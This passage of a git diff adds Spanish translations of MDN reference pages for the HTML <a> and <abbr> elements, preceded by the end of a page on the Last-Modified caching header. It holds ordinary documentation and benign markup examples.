+<p><span id="result_box" lang="es"><span class="hps">En particular</span><span>,</span> <span class="hps">prestar atención a la</span> <span class="hps">cabecera</span></span> "<code>Last-Modified</code>". Permite el eficiente almacenamiento en cache de la página; <span id="result_box" lang="es"><span class="hps">por medio de</span> <span class="hps">esta cabecera</span><span>, la información</span> <span class="hps">se transmite al</span> <span class="hps">agente de usuario</span> <span class="hps">sobre el archivo</span> <span class="hps">que quiere</span> <span class="hps">cargar</span><span>,</span> <span class="hps">por ejemplo, </span></span><span id="result_box" lang="es"><span class="hps">como cuando</span> <span class="hps">fue</span> <span class="hps">modificada por última vez</span><span>.</span> <span class="hps">La mayoría de los</span> <span class="hps">servidores web</span> <span class="hps">añadirá automáticamente</span> <span class="hps">la</span> <span class="hps">cabecera Last-Modified</span> <span class="hps">para</span> <span class="hps">páginas estáticas</span> <span class="hps">(por ejemplo</span> <span class="hps">.html</span><span>,</span> <span class="hps">.css</span><span>)</span><span>,</span></span> <span id="result_box" lang="es"><span class="hps">basado en</span> <span class="hps">la</span> <span class="hps">fecha de última modificación</span> <span class="hps">almacenada en</span> <span class="hps">el sistema de archivos</span><span>.</span> <span class="hps">Con</span> <span class="hps">páginas dinámicas</span> <span class="hps">(por ejemplo,</span> <span class="hps">.php</span><span>,</span> <span class="hps">.aspx</span><span>)</span><span>,</span> <span class="hps">esto, por supuesto</span><span>,</span> <span class="hps">no se puede hacer</span><span>, y</span> <span class="hps">la cabecera</span> <span class="hps">no se envía</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Así</span><span>,</span> <span class="hps">en particular</span> <span class="hps">para las páginas</span> <span class="hps">que se generan</span> <span class="hps">de forma dinámica</span><span>,</span> <span class="hps">un poco de investigación</span> <span class="hps">sobre este tema es</span> <span class="hps">beneficioso.</span> <span class="hps">Puede ser</span> <span class="hps">un poco</span> <span class="hps">complicada, pero</span> <span class="hps">se ahorrará mucho</span> <span class="hps">en</span> <span class="hps">las solicitudes de página</span> <span class="hps">en las páginas</span> <span class="hps">que</span> <span class="hps">normalmente no serían</span> <span class="hps">cacheable</span><span>.</span></span></p>
diff --git a/files/es/web/html/elemento/a/index.html b/files/es/web/html/elemento/a/index.html
new file mode 100644
index 0000000000..e35402f7a5
--- /dev/null
+++ b/files/es/web/html/elemento/a/index.html
@@ -0,0 +1,321 @@
+---
+title: <a>
+slug: Web/HTML/Elemento/a
+tags:
+  - Contenido
+  - Ejemplo
+  - Elemento
+  - HTML
+  - Principiante
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/a
+---
+<div>{{HTMLRef}}</div>
+
+<p>El <em>Elemento HTML <code>Anchor</code></em> <strong><code>&lt;a&gt;</code></strong> crea un enlace a otras páginas de internet, archivos o ubicaciones dentro de la misma página, direcciones de correo, o cualquier otra URL.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/a.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Categorías de contenido</th>
+   <td>Contenido de flujo, contenido de párrafo, contenido interactivo, contenido palpable</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Transparent_content_model" title="HTML/Content_categories#Transparent_content_model">Transparente, que contiene contenido de flujo (excluyendo contenido interactivo) o contenido de párrafo.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos principales permitidos</th>
+   <td>Cualquier elemento que acepte contenido de párrafo o cualquier elemento que acepte contenido de flujo, sin embargo simpre excluyendo los elementos &lt;a&gt; (de acuerdo con el principio lógico de simetría, si una etiqueta &lt;a&gt; como padre, no puede contener contenido interactivo, entonces el mismo contenido de &lt;a&gt; no puede tener una etiqueta &lt;a&gt; como su padre).</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>{{ARIARole("button")}}, {{ARIARole("checkbox")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLAnchorElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("download")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Este atributo, indica descargar a los navegadores una URL en lugar de navegar hacia ella, por lo que el usuario será dirigido para salvarla como un archivo local.  Si el atributo tiene un valor, éste se utilizará como nombre de archivo por defecto en el mensaje Guardar que se abre cuando el usuario hace clic en el enlace (sin embargo, el usuario puede cambiar el nombre antes de guardar el archivo). No hay restricciones sobre los valores permitidos, aunque: / y: \ se convertirán en guiones bajos (<em>underscores</em>), lo que evitará sugerencias de ruta específicas.  Se debe tener en cuenta que la mayoría de los sistemas de archivos tienen limitaciones con respecto a los símbolos de puntuación admitidos en los nombres de archivo, por lo que los navegadores ajustarán los nombres de los archivos en consecuencia.
+ <div class="note"><strong>Notas:</strong>
+ <ul>
+  <li>Este atributo sólo funciona para las <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">políticas de mismo origen (same-origin URLs)</a>.</li>
+  <li>Este atributo puede ser utilizado con <a href="https://developer.mozilla.org/en-US/docs/Web/API/URL.createObjectURL"><code>blob:</code> URLs</a> y <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URLs</a> para descargar contenido generado por JavaScript, tales como fotografías creadas por una aplicación web de edición de imágenes.</li>
+  <li>Si el encabezado (<em>header</em>) HTTP <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition"><code>Content-Disposition:</code></a> proporciona un nombre de archivo diferente al de este atributo, el encabezado HTTP tiene prioridad sobre este atributo.</li>
+  <li>Si <code>Content-Disposition:</code> está ajustado a <code>inline</code>, Firefox prioriza <code>Content-Disposition</code>, como en el caso del nombre de archivo, mientras que Chrome prioriza el atributo <code>download</code>.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Contiene una URL o un fragmento de URL al cual apunta el enlace.</dd>
+ <dd>Un fragmento de URL es un nombre ("name") precedido por el símbolo de número (<code>#</code>), el cual especifíca una ubicación interna objetivo (un <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes#attr-id">ID</a> de un elemento HTML) dentro del actual documento. Las URLs no están restringidas sólo a documentos de internet basados en HTTP, sin embargo pueden utilizar cualquier protocolo soportado por el navegador. Por ejemplo, <a class="external external-icon" href="https://en.wikipedia.org/wiki/File_URI_scheme"><code>file:</code></a>, <code>ftp:</code>, and <code>mailto:</code> funcionan en la mayoría de los navegadores.</dd>
+ <dd>Este atributo puede ser omitido (a partir de HTML5) para crear un enlace de marcador de posición. Un enlace de marcador de posición se parece a un enlace tradicional, pero que no dirige a algún lugar.
+ <div class="note">
+ <p><strong>Nota:</strong> Puede ser utilizado <code>href="#top"</code> o un fragmento vacío <code>href="#"</code> para enlazar a la parte superior de la página actual. <a href="https://www.w3.org/TR/html5/single-page.html#scroll-to-fragid">Este comportamiento está especficado en HTML5</a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>Este atributo indica el lenguaje humano del recurso al que se enlaza. Este es únicamente informativo, sin ninguna funcionalidad incorporada. Los valores permitidos están determinados por <a class="external external-icon" href="https://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages">BCP47</a>.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Indica que <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referencia (<em>referer</em>)</a> enviar cuado la URL es recuperada:
+ <ul>
+  <li><code>'no-referrer'</code> significa <code>Referer:</code> el encabezado no será enviado.</li>
+  <li><code>'no-referrer-when-downgrade'</code> significa sin <code>Referer:</code> el encabezado será enviado cuando se navega a un origen (<code>origin</code>) sin HTTPS. Este es un comportamiento por defecto.</li>
+  <li><code>'origin'</code> significa que el "referrer" estará en el <a href="https://developer.mozilla.org/en-US/docs/Glossary/Origin">origen</a> (<code>origin</code>) de la página, no incluye la información posterior al dominio.</li>
+  <li><code>'origin-when-cross-origin'</code> significa que la navegación a otros orígenes (<em>origins</em>) será limitada al esquema (<em>scheme</em>), el host y el puerto, mientras que la navegación en el mismo origen (origin) incuirá la trayectoria de referencia (<em>referrer's path</em>).</li>
+  <li><code>'unsafe-url'</code> significa que la referencia (<em>referrer</em>) incuirá el origen(<code>origin</code>) y la trayectoria (<em>path</em>), pero no el fragmento, contraseña o nombre de usuario. Esto es inseguro, ya que puede filtrar datos desde una URL segura hacia URLs inseguras.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>Especifica la relación del objeto de destino con el objeto de enlace. El valor es una lista separada por espacios de tipos de enlace<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types"> tipos de enlace (link types)</a>.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Especifica en donde desplegar la URL enlazada. Es un nombre (<em>name of</em>), o palabra clave (<em>keyword for</em>), un contexto de navegación <em>(browsing context)</em>: una pestaña, ventana, o <code>&lt;iframe&gt;</code>. Las siguientes palabras clave (<em>keywords</em>) tienen significado especial:
+ <ul>
+  <li><code>_self</code>: Carga la URL en el mismo contexto de navegación que el actual. Este es el comportamiento por defecto.</li>
+  <li><code>_blank</code>: Carga la URL en un nuevo contexto de navegación. Usualmente es una pestaña, sin embargo, los usuarios pueden configurar los navegadores para utilizar una ventana nueva en lugar de la pestaña.</li>
+  <li><code>_parent</code>: Carga la URL en el contexto de navegación padre (<em>parent</em>) del actual. Si no existe el padre, este se comporta del mismo modo que <code>_self</code>.</li>
+  <li><code>_top</code>: Carga la URL en le contexto más alto de navegación (el cual es un ancestro del actual, y no tiene padre (<em>parent</em>)). Si no hay padre (<em>parent</em>), este se comporta del mismo modo que <code>_self</code>.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Nota:</strong> Cuando se utiliza <code>target</code>, considera agregar <code>rel="noopener noreferrer"</code> para evitar el uso de la API <code>window.opener</code>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Especifica el tipo de medio (<em>media type</em>) en la forma de {{Glossary("MIME type")}} para la URL enlazada. Esto es únicamente informativo, sin ninguna funcionalidad incorporada.</dd>
+ <dt>
+ <h3 id="Obsoleto">Obsoleto</h3>
+ </dt>
+ <dt>{{htmlattrdef("charset")}} {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Este atributo define la <a href="https://developer.mozilla.org/en-US/docs/Glossary/character_encoding">codificación de caracteres (character encoding)</a> de la URL enlazada. El valor debe de ser una lista delimitada por espacio y/o coma de caracteres definidos en <a class="external external-icon" href="https://tools.ietf.org/html/rfc2045">RFC 2045</a>. El valor por defecto es <code>ISO-8859-1</code>.
+ <div class="note">
+ <p><strong>Nota de uso:</strong> Este atributo es obsoleto en HTML5 y <strong>no debe ser utilizado por autores</strong>. Para lograr su efecto, se debe utilzar el encabezado HTTP <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type:</code></a> en la URL enlazada.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("coords")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Para utilizar con el siguiente atributo <code>shape</code>, este atributo utiliza una lista de números separada por comas para definir las coordenadas del enlace en la página.</dd>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Este atributo era requerido para anclas (<em>anchors</em>) que definían una posible ubicación dentro de la página. En HTML 4.01, <code>id</code> y <code>name</code> podían ser utilizados simultáneamente en un elemento <code>&lt;a&gt;</code> simpre y cuando tuvieran valores idénticos.
+ <div class="note">
+ <p><strong>Nota de uso:</strong> Este atributo es obsoleto en HTML5, se utiliza el <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes#attr-id">atributo global <code>id</code></a> en su lugar.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("rev")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Este atributo especifica un enlace inverso, la relación inversa del atributo <strong>rel</strong>. Fue desechado por ser muy confuso.</dd>
+ <dt>{{htmlattrdef("shape")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Este atributo era utilizado para definir una región de enlaces para crear un mapa de imagen. El valore es <code>circle</code>, <code>default</code>, <code>polygon</code>, y <code>rect</code>. El formato del atributo <code>coords</code> depende del valor de la forma geométrica. Para <code>circle</code>, el valor es <code>x,y,r</code> donde <code>x</code> y <code>y</code> son las coordenadas en pixel para el centro del círculo y  <code>r</code> es el valor del radio en pixeles. Para <code>rect</code>, el atributo <code>coords</code> debe ser <code>x,y,w,h</code>. Los valores <code>x y y</code> definen la esquina superior izquierda del rectángulo, mientras que <code>w</code> y <code>h</code> definen el ancho y el alto respectivamente. Un valor del <code>polygon</code> para <code>shape</code> requiere los valores <code>x1,y1,x2,y2,...</code>para <code>coords</code>. Cada uno de los pares <code>x,y</code> definen un punto en el polígono, con puntos sucesivos que son unidos por líneas rectas y el útlimo punto se une al primer punto. El valor <code>default</code> para <code>shape</code> Requiere que el área encerrada, típicamente una imágen, sea utilizada.
+ <div class="note"><strong>Nota:</strong> Utilice el <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img#attr-usemap">atributo <code>usemap</code></a> para el elemento {{HTMLElement("img")}} y el elemento asociado {{HTMLElement("map")}} para definir puntos de acceso (<em>hotspots</em>) en lugar del atributo <code>shape</code>.</div>
+ </dd>
+</dl>
+
+<div>
+<h2 id="sect1"></h2>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Enlazando_a_una_ubicación_externa">Enlazando a una ubicación externa</h3>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html">&lt;!-- anclaje a un archivo externo --&gt;
+&lt;a href="https://www.mozilla.com/"&gt;
+Enlace externo
+&lt;/a&gt;</code></pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p><a class="external external-icon" href="https://www.mozilla.com/">Enlace externo</a></p>
+
+<h3 id="Enlazando_a_otra_sección_de_la_misma_página">Enlazando a otra sección de la misma página</h3>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html">&lt;!-- enlace a un elemento en esta página con id="attr-href" --&gt;
+&lt;a href="#attr-href"&gt;
+Descripción de enlaces de la misma página
+&lt;/a&gt;</code></pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p><a href="#attr-href">Descripción de enlaces de la misma página</a></p>
+
+<h3 id="Creando_una_imagen_clicable">Creando una imagen clicable</h3>
+
+<p>Este ejemplo utiliza una imagen que enlaza a la página de inicio de MDN. La página de inicio se abrirá en un contexto de navegación nuevo, esto es, en una nueva página o nueva ventana.</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html">&lt;a href="https://developer.mozilla.org/en-US/" target="_blank"&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6851/mdn_logo.png"
+       alt="MDN logo" /&gt;
+&lt;/a&gt;</code></pre>
+
+<h4 id="Resulta">Resulta</h4>
+
+<figure>
+<p>{{EmbedLiveSample("Creating_a_clickable_image", "320", "64")}}</p>
+</figure>
+
+<h3 id="Creando_un_enlace_de_correo">Creando un enlace de correo</h3>
+
+<p>Es común crear enlaces que abren el programa de correo del usuario para permitir enviar un nuevo mensaje. Esto se hace con un enlace <code>mailto:</code>. Aquí tenemos un ejemplo:</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html">&lt;a href="mailto:nowhere@mozilla.org"&gt;Enviar correo a nowhere&lt;/a&gt;</code></pre>
+
+<h4 id="Resultado_3">Resultado</h4>
+
+<p><a href="mailto:nowhere@mozilla.org">Envia un correo a: nowhere</a></p>
+
+<p>Para detalles adicionales acerca del esquema de la URL <code>mailto</code>, tales como incluir el asunto, el cuerpo u otros contenidos predeterminados, consultar <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Email_links">Enlaces de correo (Email links)</a> o {{RFC(6068)}}.</p>
+
+<h3 id="Creando_un_enlace_a_un_número_de_teléfono">Creando un enlace a un número de teléfono</h3>
+
+<p>Ofrecer enlaces a números de teléfono es muy útil para los ususarios que observan documentos de internet desde computadoras portátiles conectadas a teléfonos o desde teléfonos celulares (móviles)</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html">&lt;a href="tel:+491570156"&gt;+49 157 0156&lt;/a&gt;</code></pre>
+
+<p>Para detalles adicionales acerca del esquema de la URL <code>tel</code>, consultar {{RFC(2806)}} y {{RFC(2396)}}.</p>
+
+<h3 id="Utilizando_el_atributo_download_para_guardar_un_&lt;canvas>_como_PNG">Utilizando el atributo <code>download</code> para guardar un  <code>&lt;canvas&gt;</code> como PNG</h3>
+
+<p>Si deseas permitir a los usurios descargar una elemento HTML {{HTMLElement("canvas")}} como una imagen, puedes crear un enlace con una atributo <code>download</code> y la información canvas como un archivo URL:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">var link = document.createElement('a');
+link.innerHTML = 'download image';
+
+link.addEventListener('click', function(ev) {
+    link.href = canvas.toDataURL();
+    link.download = "mypainting.png";
+}, false);
+
+document.body.appendChild(link);</code></pre>
+
+<p>Puedes ver como funciona en: <a href="https://jsfiddle.net/codepo8/V6ufG/2/">jsfiddle.net/codepo8/V6ufG/2/</a>.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>HTML 3.2 define sólo los atributos <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code>, y <code>title</code>.</p>
+
+<h3 id="Recomendaciones_de_accesibilidad">Recomendaciones de accesibilidad</h3>
+
+<p>Se abusa frecuntemente de las etiquetas de ancla (<em>anchor tags</em>) con el uso de los eventos <code>onclick</code> para crear pseudo-botones ajustando <strong>href</strong> a <code>"#"</code> o <code>"javascript:void(0)"</code> para prevenir la recarga de la página. Estos valores provocan comportamientos inesperados con los enlaces de copiado/dibujado, la apertura de enlaces en nuevas pestañas/ventanas, el guardado de enlaces (<em>bookmarking</em>), y cuando JavaScript está aún descargando, esto arroja errores, o es deshabilitado. Esto tambíen lleva a semánticas (<em>semantics</em>) incorrectas para tecnologías de asistencia (p.ej., lectores de pantalla). En estos casos, se recomienda utilizar un {{HTMLElement("button")}} en su lugar. En general, sólo se debe utilizar una ancla (<em>anchor</em>) para navegación utilizando una URL adecuada.</p>
+
+<h3 id="Cliceo_y_enfoque">Cliceo y enfoque</h3>
+
+<p>Cuando se clicea sobre un {{HTMLElement("a")}} las consecuencias varían de acuerdo al navegador y el sistema operativo.</p>
+
+<table>
+ <caption>¿Al hacer clic en un {{HTMLElement("a")}} se enfoca?</caption>
+ <tbody>
+  <tr>
+   <td>Navegadores de escritorio</td>
+   <th>Windows 8.1</th>
+   <th>OS X 10.9</th>
+  </tr>
+  <tr>
+   <th>Firefox 30.0</th>
+   <td style="background-color: LawnGreen;">Si</td>
+   <td style="background-color: LawnGreen;">Si</td>
+  </tr>
+  <tr>
+   <th>Chrome ≥39<br>
+    (<a href="https://code.google.com/p/chromium/issues/detail?id=388666" title="Issue 388666: Focus anchor (A) elements on mousedown">Chromium bug 388666</a>)</th>
+   <td style="background-color: LawnGreen;">Si</td>
+   <td style="background-color: LawnGreen;">Si</td>
+  </tr>
+  <tr>
+   <th>Safari 7.0.5</th>
+   <td style="background-color: silver;">N/A</td>
+   <td style="background-color: yellow;">Sólo cuando tiene un <code>tabindex</code></td>
+  </tr>
+  <tr>
+   <th>Internet Explorer 11</th>
+   <td style="background-color: LawnGreen;">Si</td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Presto (Opera 12)</th>
+   <td style="background-color: LawnGreen;">Si</td>
+   <td style="background-color: LawnGreen;">Si</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>¿Al hacer un clic en un {{HTMLElement("a")}} se enfoca?</caption>
+ <tbody>
+  <tr>
+   <td>Navegadores móviles</td>
+   <th>iOS 7.1.2</th>
+   <th>Android 4.4.4</th>
+  </tr>
+  <tr>
+   <th>Safari Mobile</th>
+   <td style="background-color: yellow;">Sólo cuando tiene un <code>tabindex</code></td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td>???</td>
+   <td style="background-color: yellow;">Sólo cuando tiene un <code>tabindex</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+  <tbody>
+  <tr>
+   <td>{{SpecName("Referrer Policy", "#referrer-policy-delivery-referrer-attribute", "referrer attribute")}}</td>
+   <td>{{Spec2("Referrer Policy")}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "textlevel-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "textlevel-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "struct/links.html#h-12.2", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.a")}}</p>
+
+<h2 id="Consultar_también">Consultar también</h2>
+
+<ul>
+ <li>Otros elementos comunicando a nivel semántico de texto <a href="https://developer.mozilla.org/en-US/docs/HTML/Text_level_semantics_conveying_elements">(text-level semantics)</a>: {{HTMLElement("abbr")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+</ul></div>
diff --git a/files/es/web/html/elemento/abbr/index.html b/files/es/web/html/elemento/abbr/index.html
new file mode 100644
index 0000000000..8646722071
--- /dev/null
+++ b/files/es/web/html/elemento/abbr/index.html
@@ -0,0 +1,147 @@
+---
+title: <abbr>
+slug: Web/HTML/Elemento/abbr
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/abbr
+---
+<p id="Summary">{{HTMLRef}}</p>
+
+<p>El <strong>elemento HTML <code>&lt;abbr&gt;</code></strong> (<em>o Elemento de Abreviación HTML</em>) representa una abreviación o acrónimo; el atributo opcional {{htmlattrxref("title")}} puede ampliar o describir la abreviatura. Si está presente, el atributo <code>title</code> debe contener la descripción completa y nada más.</p>
+
+<pre class="brush: html">&lt;p&gt;I do &lt;abbr title="Hypertext Markup Language"&gt;HTML&lt;/abbr&gt;&lt;/p&gt;</pre>
+
+<p style="margin-top: -1.5em;"><small>El artículo <a href="/en-US/Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable">Cómo marcar abreviaciones y hacerlas entendibles</a> es una guía para aprender a usar <code>&lt;abbr&gt;</code> y elementos relacionados.</small></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido dinámico</a>, <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_estático_o_de_texto">contenido estático o de texto</a>, contenido palpable</td>
+  </tr>
+  <tr>
+   <th scope="row">Conteido permitido</th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_estático_o_de_texto">Contenido de estático o de texto</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_estático_o_de_texto">contenido estático o de texto</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento sólo incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>. El atributo {{htmlattrxref("title")}} tiene un sentido específicamente semántico cuando es usado con el elemento <code>&lt;abbr&gt;</code>; <em>debe </em>contener una completa descripción o ampliación de la abreviación. Este texto es usualmente presentado por los navegadores como tooltip cuando se pasa el mouse sobre el elemento.</p>
+
+<p>Cada elemento <code>&lt;abbr&gt;</code> usado es independiente de todos los otros; dar un <code>&lt;title&gt;</code> a uno no hace que automáticamente todos los demás adquieran la misma descripción.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>En lenguajes con números gramaticales (especialmente lenguajes con más de dos números, como el Árabe), utiliza el mismo número gramatical en el atributo <code>title</code> como dentro del elemento <code>&lt;abbr&gt;</code>.</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '&lt;abbr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}} [1]</td>
+   <td>7.0</td>
+   <td>1.3</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Hasta Gecko 1.9.2 (Firefox 3.6), Firefox implementó la interfaz {{domxref("HTMLSpanElement")}} para este elemento en lugar de la interfaz {{domxref("HTMLElement")}}.</p>
+
+<h2 id="Estilo_por_defecto">Estilo por defecto</h2>
+
+<p>El propósito de este elemento es puramente para la conveniencia del autor y por defecto todos los navegadores lo muestran en línea ({{cssxref('display')}}<code>: inline</code>), sin embargo su estilo por defecto varía de un navegador a otro:</p>
+
+<ul>
+ <li>Algunos navegadores, como Internet Exlorer, no lo diseñan de manera diferente que el elemento {{HTMLElement("span")}}.</li>
+ <li>Opera, Firefox, y algunos otros añaden un subrayado de puntos al contenido del elemento.</li>
+ <li>Algunos navegadores no sólo añaden un subrayado de puntos, sino que también lo ponen en minúsculas; para evitar este estilo, añadir algo como {{cssxref('font-variant')}}<code>: none</code> en CSS se hace cargo de este caso.</li>
+</ul>
